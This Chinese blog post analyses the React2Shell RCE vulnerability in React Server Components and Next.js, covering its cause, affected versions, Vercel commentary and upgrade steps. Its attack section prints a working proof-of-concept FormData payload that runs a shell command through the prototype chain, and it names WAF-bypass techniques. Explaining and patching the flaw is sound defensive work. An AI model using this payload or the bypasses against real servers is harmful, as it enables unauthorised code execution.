2025 年 12 月 3 日，Wiz 安全研究团队披露了一个影响 React Server Components（RSC）和 Next.js 框架的严重远程代码执行漏洞¹²，CVSS 评分 10.0 满分，被称为 React2Shell。

这是一个典型的不安全反序列化漏洞，攻击者可以通过精心构造的 HTTP 请求发送至任意 Server Function 端点，当 React Flight 协议反序列化该请求时，即可在服务器上执行任意 JavaScript 代码。

核弹级但攻击面可能没有想象中那么大

无需认证、默认配置受影响、易于利用，约 39% 的云环境可能受到影响。漏洞公开后不久，多个国家支持的 APT 组织已开始积极利用该漏洞进行攻击。但事实上绝大部分应用都是使用的 CSR/SSG 而非 SSR 应用，并且在使用的这一大部分中，很大一部分并没有升级到支持 RSC 支持的版本，所以实际影响范围可能远小于 39%。

漏洞描述

CVE-2025-66478（Next.js）¹实际上是 CVE-2025-55182（React）²在 Next.js 框架中的表现形式，两者的根本原因相同。

漏洞存在于 React Flight 协议的反序列化逻辑中，具体位于 ReactFlightReplyServer.js 文件的 getOutlinedModel() 函数：

function getOutlinedModel(response, reference, parentObject, key, map) {
  reference = reference.split(":");
  var id = parseInt(reference[0], 16);
  var parentObject = response.chunks[id];
 
  // ⚠️ 路径遍历漏洞 - 没有 hasOwnProperty 检查！
  for (var key = 1; key < reference.length; key++)
    parentObject = parentObject[reference[key]];  // VULNERABLE!
 
  return map(response, parentObject);
}

攻击者通过冒号分隔的路径遍历原型链，获取 Function 构造函数后执行任意代码：

// Payload: "$1:constructor:constructor"
chunk[1]["constructor"]     // → [Function: Object]
Object["constructor"]       // → [Function: Function]
// 最终获得 Function 构造函数，可执行任意代码！

影响范围

本博客标注 version 可能不准确，请以官方公告为准 ¹²。

产品	受影响版本	修复版本
React²	19.0.0, 19.1.0, 19.1.1, 19.2.0	19.0.1, 19.1.2, 19.2.1
Next.js¹	15.x, 16.x (使用 App Router)	15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

其他受影响的框架/工具包括：react-server-dom-webpack、react-server-dom-parcel、react-server-dom-turbopack、React Router（使用 RSC 的版本）等。

核心问题

从 RPC 安全视角来看，Server Actions 和 RSC 本质上是一种 RPC 实现。但与成熟的 RPC 框架相比，React Flight 协议在设计上存在根本性缺陷：

框架	Schema 验证	方法白名单	参数验证	原型链保护
gRPC	✅ Protobuf 强制定义	✅ 显式注册	✅ 编译期强制	✅ 二进制协议，不涉及
tRPC	✅ Zod/TypeBox	✅ 显式定义路由	✅ 运行时+类型推断	✅ 不依赖原型链
Apache Thrift	✅ IDL 强制定义	✅ 服务接口定义	✅ 编译期强制	✅ 二进制协议，不涉及
Dubbo	✅ Java 接口定义	✅ 服务暴露白名单	✅ 强类型	⚠️ Hessian 曾有反序列化漏洞
GraphQL	✅ Schema 强制	✅ 显式定义 Resolver	⚠️ 需额外验证层	✅ 不依赖原型链
JSON-RPC	⚠️ 可选（需自行实现）	✅ 方法名映射	⚠️ 需自行实现	⚠️ 取决于实现
Hono RPC	✅ Zod 验证	✅ 路由定义	✅ 中间件验证	✅ 不依赖原型链
SOAP	✅ WSDL/XSD 强制	✅ 操作定义	✅ XML Schema	⚠️ XXE 风险（需禁用外部实体）
React Flight	❌ 无	❌ 缺失	❌ 缺失	❌ 未检查 hasOwnProperty

图例说明

✅ 框架原生支持或强制要求

⚠️ 可选、需额外配置或历史上存在相关问题

❌ 缺失或设计上存在缺陷

安全教训

任何 RPC 系统都必须假设客户端输入是完全不可信的，需要在协议层面强制执行类型安全和访问控制，而不是依赖运行时检查。

题外话：RSC 的”政治”因素

抛开技术不谈，这个漏洞的出现也让人不得不思考 RSC 诞生的背景，事实上，社区对 Vercel 主导 React 生态的不满由来已久³⁴⁵⁶。

Vercel 作为 Next.js 的主要维护者和商业化公司，一直在积极推动 React Server Components 和 Server Actions 的落地：2021 年底，Vercel 招聘了 React 核心团队成员 Sebastian Markbåge⁷——他正是 RSC 的主要设计者；2022 年 10 月，Next.js 13 发布⁸，成为首个支持 RSC 的主流框架。通过模糊前后端边界、让开发者”无感”地编写服务端代码，表面上降低了使用门槛，实际上却增加了框架的复杂度和对特定部署平台的依赖。

这种策略的商业逻辑很清晰：

倒逼 React 社区：RSC 最初是 Vercel 与 React 团队合作推动的，Next.js 是 RSC 的第一个也是最主要的实现载体
增加平台粘性：Server Actions 的”零配置”体验在 Vercel 平台上最为顺畅，自行部署则需要处理更多的边缘情况
模糊安全边界：当开发者习惯了在组件里直接写 'use server'，很容易忽视这背后其实是一个完整的 RPC 调用链

有趣的是

这种”简化”反而导致了安全设计的疏忽——成熟的 RPC 框架（gRPC、dubbo、thrift）十几年积累的安全最佳实践，在 React Flight 协议中几乎是从零开始。

当然，这不是说 Vercel 有意引入漏洞，而是商业驱动的”开发体验优先”策略，可能在无形中牺牲了安全边界的清晰性。这种策略的问题在于：

隐藏复杂性 ≠ 消除复杂性：'use server' 看起来只是一个指令，但背后涉及序列化、网络传输、反序列化、权限验证等完整链路。当开发者不理解这些环节时，就无法正确评估风险
”零配置”意味着”零思考”：传统 RPC 框架要求开发者显式定义接口、参数类型、错误处理，这些”繁琐”的步骤实际上是安全检查点。去掉这些步骤，安全责任就从框架转移到了（特别是往往不具备安全意识的）开发者（如完全没有后端经验的前端开发人员）身上，他们不适合使用这种无、弱保护的框架，这在 PHP 的框架中出现的更多。
抽象泄漏的代价更高：当”魔法”失效时，开发者面对的是一个自己完全不理解的系统，调试和修复的成本远高于一开始就理解底层机制

前车之鉴：CVE-2025-29927 中间件授权绕过

数月前 Next.js 刚出过一个同款漏洞——CVE-2025-29927（CVSS 9.1）。攻击者在请求头加上 x-middleware-subrequest: 1，你的中间件鉴权就集体罢工了。这个请求头本是框架内部用来防止中间件无限循环的”员工暗号”，没想到暗号直接写门上了。

两个漏洞，一个配方：你以为的”实现细节”，攻击者眼里的”邀请函”。

坦率地说，如果 Vercel 继续以这种”魔法优先”的方式迭代 Next.js——把越来越多的内部机制藏在开发者看不见的地方，同时不断扩大服务端的攻击面——那么 CVE-2025-29927 和 CVE-2025-66478 恐怕只是序章，而非终章。毕竟，每一个”让开发者少写一行代码”的特性，背后都可能是安全团队需要多审计一百行的隐藏逻辑，而 Vercel 并没有一个足够强大的安全团队来保证这一点。

🎁 因祸得福？

话又又又说回来，被 Vercel “绑架”也不是没有好处——毕竟顶流框架自带”全网盯梢”服务。漏洞刚冒头，安全研究员、推特键盘侠、竞品公司的 PR 团队就已经摩拳擦掌等着发文了。这种”众目睽睽”的压力下，补丁通常比外卖还快。换成某些小众框架，漏洞可能在 GitHub Issues 里躺到地老天荒，等你发现时黑客早就挖完矿跑路了。所以，喜提”VIP 级漏洞响应速度”——虽然漏洞多了点，但至少修得快嘛。

攻击示例

最小 RCE Payload 构造⁹：

const formData = new FormData();
formData.append('0', JSON.stringify({
  then: "$1:__proto__:then",
  status: "fulfilled",
  value: null,
  _response: {
    _formData: { get: "$1:constructor:constructor" },
    _prefix: 'return process.mainModule.require("child_process").execSync("whoami").toString()'
  }
}));
formData.append('1', '"$@0"');
formData.append('2', '[]');

更糟糕的是，这个漏洞还可以绕过 WAF：

超大请求体绕过：AWS WAF 默认只检查请求体前 8-64KB，将恶意 payload 放在检查限制之后即可绕过
分块传输编码绕过：利用 HTTP/1.1 的分块传输，将恶意模式拆分到不同的 chunk 中

🎭 "修 Bug 不成反添堵"：Cloudflare 的史诗级翻车

说到 WAF 绕过，就不得不提 Cloudflare 的神操作。2025 年 12 月 5 日，为了拦截 React2Shell 的恶意 Payload，Cloudflare 紧急将 WAF 请求体缓冲区从 128KB 提升至 1MB —— 听起来很合理对吧？

然而，部署过程中关闭内部测试工具的操作触发了 FL1 代理中从未经过使用和测试且未来要下线的的 Lua 代码错误，导致全球约 28% 的 HTTP 流量在 25 分钟内“喜提” 500 错误。Zoom、LinkedIn、Coinbase、Canva 等知名网站纷纷躺枪。

这大概就是所谓的”漏洞没堵住，先把自己堵死了”。安全与可用性的平衡，永远是个技术活。¹⁰

说起 Lua 翻车，这让人不禁想起 2021 年 7 月 13 日的 B站”713 事件”¹¹——同样是 Lua，同样是一个看似无害的小疏忽：GCD 函数没对输入参数做类型检查，当收到字符串 "0" 时触发无限递归，CPU 直接拉满，整个 B站宕机近 3 小时。一个字符串，干翻一个视频平台，Lua：这锅我不背（好吧其实还是要背的，回头有空再细数 lua 的坑）。

处理方案

自动化工具陷阱

由于 CVE-2025-66478（Next.js）的根本原因与 CVE-2025-55182（React）相同，部分 CVE 数据库可能将 Next.js 的 CVE 标记为”重复”。这会导致 Dependabot、Snyk 等自动化 CVE 修复工具可能仅更新 React 而忽略 Next.js。

然而，Next.js 在 node_modules/next/dist/compiled/next-server/ 目录中预编译打包了一份完整的 react-server-dom-webpack 代码（包含漏洞函数 getOutlinedModel），仅更新 node_modules/react 并不能修复这份内置代码。请务必同时更新 React 和 Next.js！

1. 立即升级

# 升级 React
npm install react@19.2.1 react-dom@19.2.1
 
# ⚠️ 必须同时升级 Next.js！
npm install next@15.5.7
# 或
npm install next@16.0.7

2. 使用官方修复工具

Vercel Labs 发布了自动修复工具¹²：

npx fix-react2shell-next

该工具可自动检测受影响的依赖、递归扫描所有 package.json、支持多种包管理器。

Next.js Team. CVE-2025-66478[EB/OL]. Next.js Blog, 2025-12-03. https://nextjs.org/blog/CVE-2025-66478 ↩ ↩² ↩³
React Team. Critical Security Vulnerability in React Server Components[EB/OL]. React Blog, 2025-12-03. https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components ↩ ↩² ↩³
weijunext. React Server Components 引发的讨论[EB/OL]. weijunext.com, 2023. https://weijunext.com/article/react-server-components-discussion ↩
Ryan Talbert. Next.js, React, and JavaScript Discussion[EB/OL]. LinkedIn, 2024-10-31. https://www.linkedin.com/posts/ryan-talbert_nextjs-react-javascript-activity-7254861111613640704-HA6P ↩
Julia Schmidt. React ecosystem is fractured but Vercel is not the villain, argues Redux maintainer[EB/OL]. DevClass, 2025-06-23. https://devclass.com/2025/06/23/react-ecosystem-is-fractured-but-vercel-is-not-the-villain-argues-redux-maintainer/ ↩
Jack Herrington. The React, Next.js and Vercel Controversy[EB/OL]. Pro Next.js, 2024. https://www.pronextjs.dev/workshops/pro-next-js-workshop-hl06z/the-react-nextjs-and-vercel-controversy ↩
佚名. Vercel 招聘 Sebastian Markbåge 推动 RSC 发展[EB/OL]. 博客园, 2023-09. https://www.cnblogs.com/sexintercourse/p/17687645.html ↩
InfoQ 中文站. Next.js 13 发布，首个支持 RSC 的主流框架[EB/OL]. InfoQ, 2022-10. https://www.infoq.cn/article/kJHgAGVuJHwgogZfLISe ↩
ejpir. CVE-2025-55182-research[EB/OL]. GitHub, 2025-12. https://github.com/ejpir/CVE-2025-55182-research ↩
Cloudflare. 5 December 2025 outage post-mortem[EB/OL]. Cloudflare Blog, 2025-12-05. https://blog.cloudflare.com/zh-cn/5-december-2025-outage ↩
澎湃新闻. B站713事故技术复盘：Lua GCD函数无限递归导致服务崩溃[EB/OL]. 澎湃新闻, 2021-07-14. https://m.thepaper.cn/newsDetail_forward_19154018 ↩
Vercel Labs. fix-react2shell-next[EB/OL]. GitHub, 2025-12. https://github.com/vercel-labs/fix-react2shell-next ↩

本文标题：RSC核弹级漏洞React CVE-2025-66478

永久链接：https://iceprosurface.com/code/cve-2025-66478/

作者授权：本文由 icepro 原创编译并授权刊载发布。

查看源码：

icepro`s blog

最近的笔记

RSC核弹级漏洞React CVE-2025-66478

优化 LLM 流式输出 markdown 渲染效果

来试试用 react 的写法写 vue

RSC核弹级漏洞React CVE-2025-66478

漏洞描述

影响范围

核心问题

题外话：RSC 的”政治”因素

攻击示例

处理方案

1. 立即升级

2. 使用官方修复工具

关系图谱

目录

反向链接

最近的笔记

RSC核弹级漏洞React CVE-2025-66478

优化 LLM 流式输出 markdown 渲染效果

来试试用 react 的写法写 vue

icepro`s blog

最近的笔记

RSC核弹级漏洞React CVE-2025-66478

优化 LLM 流式输出 markdown 渲染效果

来试试用 react 的写法写 vue

RSC核弹级漏洞React CVE-2025-66478

漏洞描述

影响范围

核心问题

题外话：RSC 的”政治”因素

攻击示例

处理方案

1. 立即升级

2. 使用官方修复工具

脚注

关系图谱

目录

反向链接

最近的笔记

RSC核弹级漏洞React CVE-2025-66478

优化 LLM 流式输出 markdown 渲染效果

来试试用 react 的写法写 vue